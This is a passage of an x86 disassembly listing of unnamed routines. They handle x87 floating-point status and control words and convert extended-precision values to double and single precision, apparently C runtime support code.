sub_431E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431F50 proc near ; CODE XREF: sub_42BE60+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_431F50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw word ptr [ebp-4] mov ax, [ebp-4] push eax call sub_432350 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw word ptr [ebp-4] fnclex mov ax, [ebp-4] push eax call sub_432350 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431FA0 proc near ; CODE XREF: sub_431FF0+10p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi fstcw [ebp+var_10] mov ax, [ebp+var_10] push eax call sub_432070 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] mov edx, [ebp+arg_4] not edx mov eax, [ebp+var_8] and eax, edx or ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] push ecx call sub_4321F0 add esp, 4 mov [ebp+var_4], ax fldcw [ebp+var_4] mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_431FA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431FF0 proc near ; CODE XREF: sub_42C3B0+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 0FFF7FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_431FA0 add esp, 8 pop ebp retn sub_431FF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call sub_430A90 mov eax, [eax] mov [ebp-4], eax fninit call sub_42C3B0 cmp dword ptr [ebp-4], 0 jz short loc_432061 mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [edx] and eax, 10008h test eax, eax jz short loc_432061 mov ecx, [ebp-4] mov edx, [ecx+4] add edx, 1Ch mov [ebp-8], edx mov eax, [ebp-8] mov dword ptr [eax+4], 0 mov ecx, [ebp-8] mov dword ptr [ecx+8], 0FFFFh loc_432061: ; CODE XREF: _0:0043202Ej _0:0043203Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432070 proc near ; CODE XREF: sub_431FA0+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_432095 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_432095: ; CODE XREF: sub_432070+1Aj mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_4320AD mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_4320AD: ; CODE XREF: sub_432070+33j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_4320C6 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_4320C6: ; CODE XREF: sub_432070+4Bj mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_4320DE mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_4320DE: ; CODE XREF: sub_432070+63j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_4320F6 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_4320F6: ; CODE XREF: sub_432070+7Cj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_432112 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_432112: ; CODE XREF: sub_432070+94j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 0C00h mov [ebp+var_8], eax cmp [ebp+var_8], 800h jg short loc_432145 cmp [ebp+var_8], 800h jz short loc_432158 cmp [ebp+var_8], 0 jz short loc_432150 cmp [ebp+var_8], 400h jz short loc_432163 jmp short loc_432177 ; --------------------------------------------------------------------------- loc_432145: ; CODE XREF: sub_432070+B9j cmp [ebp+var_8], 0C00h jz short loc_43216E jmp short loc_432177 ; --------------------------------------------------------------------------- loc_432150: ; CODE XREF: sub_432070+C8j mov ecx, [ebp+var_4] mov [ebp+var_4], ecx jmp short loc_432177 ; --------------------------------------------------------------------------- loc_432158: ; CODE XREF: sub_432070+C2j mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx jmp short loc_432177 ; --------------------------------------------------------------------------- loc_432163: ; CODE XREF: sub_432070+D1j mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_432177 ; --------------------------------------------------------------------------- loc_43216E: ; CODE XREF: sub_432070+DCj mov ecx, [ebp+var_4] or ch, 3 mov [ebp+var_4], ecx loc_432177: ; CODE XREF: sub_432070+D3j ; sub_432070+DEj ... mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 300h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_4321B9 cmp [ebp+var_C], 200h jz short loc_4321AB cmp [ebp+var_C], 300h jz short loc_4321A3 jmp short loc_4321C5 ; --------------------------------------------------------------------------- loc_4321A3: ; CODE XREF: sub_432070+12Fj mov eax, [ebp+var_4] mov [ebp+var_4], eax jmp short loc_4321C5 ; --------------------------------------------------------------------------- loc_4321AB: ; CODE XREF: sub_432070+126j mov ecx, [ebp+var_4] or ecx, 10000h mov [ebp+var_4], ecx jmp short loc_4321C5 ; --------------------------------------------------------------------------- loc_4321B9: ; CODE XREF: sub_432070+11Dj mov edx, [ebp+var_4] or edx, 20000h mov [ebp+var_4], edx loc_4321C5: ; CODE XREF: sub_432070+131j ; sub_432070+139j ... mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1000h test eax, eax jz short loc_4321E2 mov ecx, [ebp+var_4] or ecx, 40000h mov [ebp+var_4], ecx loc_4321E2: ; CODE XREF: sub_432070+164j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_432070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4321F0 proc near ; CODE XREF: sub_431FA0+36p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_432211 mov cx, [ebp+var_4] or cl, 1 mov [ebp+var_4], cx loc_432211: ; CODE XREF: sub_4321F0+14j mov edx, [ebp+arg_0] and edx, 8 test edx, edx jz short loc_432225 mov ax, [ebp+var_4] or al, 4 mov [ebp+var_4], ax loc_432225: ; CODE XREF: sub_4321F0+29j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_43223A mov dx, [ebp+var_4] or dl, 8 mov [ebp+var_4], dx loc_43223A: ; CODE XREF: sub_4321F0+3Dj mov eax, [ebp+arg_0] and eax, 2 test eax, eax jz short loc_43224F mov cx, [ebp+var_4] or cl, 10h mov [ebp+var_4], cx loc_43224F: ; CODE XREF: sub_4321F0+52j mov edx, [ebp+arg_0] and edx, 1 test edx, edx jz short loc_432263 mov ax, [ebp+var_4] or al, 20h mov [ebp+var_4], ax loc_432263: ; CODE XREF: sub_4321F0+67j mov ecx, [ebp+arg_0] and ecx, 80000h test ecx, ecx jz short loc_43227B mov dx, [ebp+var_4] or dl, 2 mov [ebp+var_4], dx loc_43227B: ; CODE XREF: sub_4321F0+7Ej mov eax, [ebp+arg_0] and eax, 300h mov [ebp+var_8], eax cmp [ebp+var_8], 200h ja short loc_4322A9 cmp [ebp+var_8], 200h jz short loc_4322BE cmp [ebp+var_8], 0 jz short loc_4322B4 cmp [ebp+var_8], 100h jz short loc_4322CB jmp short loc_4322E3 ; --------------------------------------------------------------------------- loc_4322A9: ; CODE XREF: sub_4321F0+9Dj cmp [ebp+var_8], 300h jz short loc_4322D8 jmp short loc_4322E3 ; --------------------------------------------------------------------------- loc_4322B4: ; CODE XREF: sub_4321F0+ACj mov cx, [ebp+var_4] mov [ebp+var_4], cx jmp short loc_4322E3 ; --------------------------------------------------------------------------- loc_4322BE: ; CODE XREF: sub_4321F0+A6j mov dx, [ebp+var_4] or dh, 8 mov [ebp+var_4], dx jmp short loc_4322E3 ; --------------------------------------------------------------------------- loc_4322CB: ; CODE XREF: sub_4321F0+B5j mov ax, [ebp+var_4] or ah, 4 mov [ebp+var_4], ax jmp short loc_4322E3 ; --------------------------------------------------------------------------- loc_4322D8: ; CODE XREF: sub_4321F0+C0j mov cx, [ebp+var_4] or ch, 0Ch mov [ebp+var_4], cx loc_4322E3: ; CODE XREF: sub_4321F0+B7j ; sub_4321F0+C2j ... mov edx, [ebp+arg_0] and edx, 30000h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_432309 cmp [ebp+var_C], 10000h jz short loc_432316 cmp [ebp+var_C], 20000h jz short loc_432323 jmp short loc_43232B ; --------------------------------------------------------------------------- loc_432309: ; CODE XREF: sub_4321F0+103j mov ax, [ebp+var_4] or ah, 3 mov [ebp+var_4], ax jmp short loc_43232B ; --------------------------------------------------------------------------- loc_432316: ; CODE XREF: sub_4321F0+10Cj mov cx, [ebp+var_4] or ch, 2 mov [ebp+var_4], cx jmp short loc_43232B ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4321F0+115j mov dx, [ebp+var_4] mov [ebp+var_4], dx loc_43232B: ; CODE XREF: sub_4321F0+117j ; sub_4321F0+124j ... mov eax, [ebp+arg_0] and eax, 40000h test eax, eax jz short loc_432342 mov cx, [ebp+var_4] or ch, 10h mov [ebp+var_4], cx loc_432342: ; CODE XREF: sub_4321F0+145j mov ax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4321F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432350 proc near ; CODE XREF: _0:00431F70p _0:00431F91p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_432373 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_432373: ; CODE XREF: sub_432350+18j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_43238B mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_43238B: ; CODE XREF: sub_432350+31j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_4323A4 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_4323A4: ; CODE XREF: sub_432350+49j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_4323BC mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_4323BC: ; CODE XREF: sub_432350+61j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_4323D4 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_4323D4: ; CODE XREF: sub_432350+7Aj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_4323F0 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_4323F0: ; CODE XREF: sub_432350+92j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_432350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432400 proc near ; CODE XREF: sub_432540+70p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_432424 dec eax or eax, 0FFFFFFE0h inc eax loc_432424: ; CODE XREF: sub_432400+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_8] test edx, edx jz short loc_43244F xor eax, eax jmp short loc_432480 ; --------------------------------------------------------------------------- loc_43244F: ; CODE XREF: sub_432400+49j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_432463 ; --------------------------------------------------------------------------- loc_43245A: ; CODE XREF: sub_432400:loc_432479j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_432463: ; CODE XREF: sub_432400+58j cmp [ebp+var_C], 3 jge short loc_43247B mov edx, [ebp+var_C] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0 jz short loc_432479 xor eax, eax jmp short loc_432480 ; --------------------------------------------------------------------------- loc_432479: ; CODE XREF: sub_432400+73j jmp short loc_43245A ; --------------------------------------------------------------------------- loc_43247B: ; CODE XREF: sub_432400+67j mov eax, 1 loc_432480: ; CODE XREF: sub_432400+4Dj ; sub_432400+77j mov esp, ebp pop ebp retn sub_432400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432490 proc near ; CODE XREF: sub_432540+84p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_4324B4 dec eax or eax, 0FFFFFFE0h inc eax loc_4324B4: ; CODE XREF: sub_432490+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx mov edx, 1 mov ecx, [ebp+var_4] shl edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] push eax call sub_4360F0 add esp, 0Ch mov [ebp+var_10], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx jmp short loc_432502 ; --------------------------------------------------------------------------- loc_4324F9: ; CODE XREF: sub_432490+9Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_432502: ; CODE XREF: sub_432490+67j cmp [ebp+var_C], 0 jl short loc_432531 cmp [ebp+var_10], 0 jz short loc_432531 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx push 1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] push edx call sub_4360F0 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_4324F9 ; --------------------------------------------------------------------------- loc_432531: ; CODE XREF: sub_432490+76j ; sub_432490+7Cj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_432490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432540 proc near ; CODE XREF: sub_4327D0+ABp ; sub_4327D0+132p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0 mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+var_C] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_14], eax mov edx, [ebp+var_C] and edx, 8000001Fh jns short loc_43257E dec edx or edx, 0FFFFFFE0h inc edx loc_43257E: ; CODE XREF: sub_432540+37j mov eax, 1Fh sub eax, edx mov [ebp+var_8], eax mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl mov [ebp+var_1C], edx mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_1C] test edx, edx jz short loc_4325CF mov eax, [ebp+var_C] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_432400 add esp, 8 test eax, eax jnz short loc_4325CF mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_432490 add esp, 8 mov [ebp+var_18], eax loc_4325CF: ; CODE XREF: sub_432540+63j ; sub_432540+7Aj or edx, 0FFFFFFFFh mov ecx, [ebp+var_8] shl edx, cl mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4] and eax, edx mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_10], eax jmp short loc_4325FF ; --------------------------------------------------------------------------- loc_4325F6: ; CODE XREF: sub_432540+D2j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_4325FF: ; CODE XREF: sub_432540+B4j cmp [ebp+var_10], 3 jge short loc_432614 mov edx, [ebp+var_10] mov eax, [ebp+arg_0] mov dword ptr [eax+edx*4], 0 jmp short loc_4325F6 ; --------------------------------------------------------------------------- loc_432614: ; CODE XREF: sub_432540+C3j mov eax, [ebp+var_18] mov esp, ebp pop ebp retn sub_432540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432620 proc near ; CODE XREF: sub_4327D0+98p ; sub_4327D0+10Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_C], 0 jmp short loc_432644 ; --------------------------------------------------------------------------- loc_43263B: ; CODE XREF: sub_432620+46j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_432644: ; CODE XREF: sub_432620+19j cmp [ebp+var_C], 3 jge short loc_432668 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_43263B ; --------------------------------------------------------------------------- loc_432668: ; CODE XREF: sub_432620+28j mov esp, ebp pop ebp retn sub_432620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432670 proc near ; CODE XREF: sub_4327D0+7Cp ; sub_4327D0+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_432686 ; --------------------------------------------------------------------------- loc_43267D: ; CODE XREF: sub_432670+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_432686: ; CODE XREF: sub_432670+Bj cmp [ebp+var_4], 3 jge short loc_43269B mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0 jmp short loc_43267D ; --------------------------------------------------------------------------- loc_43269B: ; CODE XREF: sub_432670+1Aj mov esp, ebp pop ebp retn sub_432670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4326A0 proc near ; CODE XREF: sub_4327D0+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4326B6 ; --------------------------------------------------------------------------- loc_4326AD: ; CODE XREF: sub_4326A0:loc_4326CCj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4326B6: ; CODE XREF: sub_4326A0+Bj cmp [ebp+var_4], 3 jge short loc_4326CE mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx*4], 0 jz short loc_4326CC xor eax, eax jmp short loc_4326D3 ; --------------------------------------------------------------------------- loc_4326CC: ; CODE XREF: sub_4326A0+26j jmp short loc_4326AD ; --------------------------------------------------------------------------- loc_4326CE: ; CODE XREF: sub_4326A0+1Aj mov eax, 1 loc_4326D3: ; CODE XREF: sub_4326A0+2Aj mov esp, ebp pop ebp retn sub_4326A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4326E0 proc near ; CODE XREF: sub_4327D0+11Fp ; sub_4327D0+148p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_18], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_432705 dec eax or eax, 0FFFFFFE0h inc eax loc_432705: ; CODE XREF: sub_4326E0+1Ej mov [ebp+var_4], eax or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_14], edx mov [ebp+var_8], 0 mov [ebp+var_C], 0 jmp short loc_43272E ; --------------------------------------------------------------------------- loc_432725: ; CODE XREF: sub_4326E0+9Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_43272E: ; CODE XREF: sub_4326E0+43j cmp [ebp+var_C], 3 jge short loc_432781 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] and eax, [ebp+var_14] mov [ebp+var_10], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] or edx, [ebp+var_8] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+eax*4], edx mov ecx, 20h sub ecx, [ebp+var_4] mov edx, [ebp+var_10] shl edx, cl mov [ebp+var_8], edx jmp short loc_432725 ; --------------------------------------------------------------------------- loc_432781: ; CODE XREF: sub_4326E0+52j mov [ebp+var_C], 2 jmp short loc_432793 ; --------------------------------------------------------------------------- loc_43278A: ; CODE XREF: sub_4326E0:loc_4327C5j mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax loc_432793: ; CODE XREF: sub_4326E0+A8j cmp [ebp+var_C], 0 jl short loc_4327C7 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_18] jl short loc_4327B8 mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [esi+edx*4] mov [ecx+eax*4], edx jmp short loc_4327C5 ; --------------------------------------------------------------------------- loc_4327B8: ; CODE XREF: sub_4326E0+BFj mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 loc_4327C5: ; CODE XREF: sub_4326E0+D6j jmp short loc_43278A ; --------------------------------------------------------------------------- loc_4327C7: ; CODE XREF: sub_4326E0+B7j pop esi mov esp, ebp pop ebp retn sub_4326E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4327D0 proc near ; CODE XREF: sub_432A20+10p ; sub_432A40+10p var_34 = dword ptr -34h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh sub ecx, 3FFFh mov [ebp+var_4], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_10], eax cmp [ebp+var_4], 0FFFFC001h jnz short loc_432860 mov [ebp+var_8], 0 lea ecx, [ebp+var_18] push ecx call sub_4326A0 add esp, 4 test eax, eax jz short loc_432848 mov [ebp+var_1C], 0 jmp short loc_43285B ; --------------------------------------------------------------------------- loc_432848: ; CODE XREF: sub_4327D0+6Dj lea edx, [ebp+var_18] push edx call sub_432670 add esp, 4 mov [ebp+var_1C], 2 loc_43285B: ; CODE XREF: sub_4327D0+76j jmp loc_4329AC ; --------------------------------------------------------------------------- loc_432860: ; CODE XREF: sub_4327D0+56j lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_30] push ecx call sub_432620 add esp, 8 mov edx, [ebp+arg_8] mov eax, [edx+8] push eax lea ecx, [ebp+var_18] push ecx call sub_432540 add esp, 8 test eax, eax jz short loc_432890 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_432890: ; CODE XREF: sub_4327D0+B5j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] mov edx, [eax+4] sub edx, [ecx+8] cmp [ebp+var_4], edx jge short loc_4328C0 lea eax, [ebp+var_18] push eax call sub_432670 add esp, 4 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp loc_4329AC ; --------------------------------------------------------------------------- loc_4328C0: ; CODE XREF: sub_4327D0+CFj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] cmp edx, [ecx+4] jg short loc_432930 mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, [ebp+var_4] mov [ebp+var_34], ecx lea edx, [ebp+var_30] push edx lea eax, [ebp+var_18] push eax call sub_432620 add esp, 8 mov ecx, [ebp+var_34] push ecx lea edx, [ebp+var_18] push edx call sub_4326E0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+8] push ecx lea edx, [ebp+var_18] push edx call sub_432540 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+0Ch] add ecx, 1 push ecx lea edx, [ebp+var_18] push edx call sub_4326E0 add esp, 8 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp short loc_4329AC ; --------------------------------------------------------------------------- loc_432930: ; CODE XREF: sub_4327D0+F9j mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] cmp ecx, [eax] jl short loc_43297B lea edx, [ebp+var_18] push edx call sub_432670 add esp, 4 mov eax, [ebp+var_18] or eax, 80000000h mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_4326E0 add esp, 8 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_8] add edx, [eax+14h] mov [ebp+var_8], edx mov [ebp+var_1C], 1 jmp short loc_4329AC ; --------------------------------------------------------------------------- loc_43297B: ; CODE XREF: sub_4327D0+168j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+14h] mov [ebp+var_8], edx mov eax, [ebp+var_18] and eax, 7FFFFFFFh mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_4326E0 add esp, 8 mov [ebp+var_1C], 0 loc_4329AC: ; CODE XREF: sub_4327D0:loc_43285Bj ; sub_4327D0+EBj ... mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, 20h sub eax, edx mov [ebp+var_C], eax mov edx, [ebp+var_8] mov ecx, [ebp+var_C] shl edx, cl mov eax, [ebp+var_18] or eax, edx mov ecx, [ebp+var_20] neg ecx sbb ecx, ecx and ecx, 80000000h or eax, ecx mov [ebp+var_24], eax mov edx, [ebp+arg_8] cmp dword ptr [edx+10h], 40h jnz short loc_4329FA mov eax, [ebp+arg_4] mov ecx, [ebp+var_24] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_14] mov [edx], eax jmp short loc_432A0B ; --------------------------------------------------------------------------- loc_4329FA: ; CODE XREF: sub_4327D0+215j mov ecx, [ebp+arg_8] cmp dword ptr [ecx+10h], 20h jnz short loc_432A0B mov edx, [ebp+arg_4] mov eax, [ebp+var_24] mov [edx], eax loc_432A0B: ; CODE XREF: sub_4327D0+228j ; sub_4327D0+231j mov eax, [ebp+var_1C] mov esp, ebp pop ebp retn 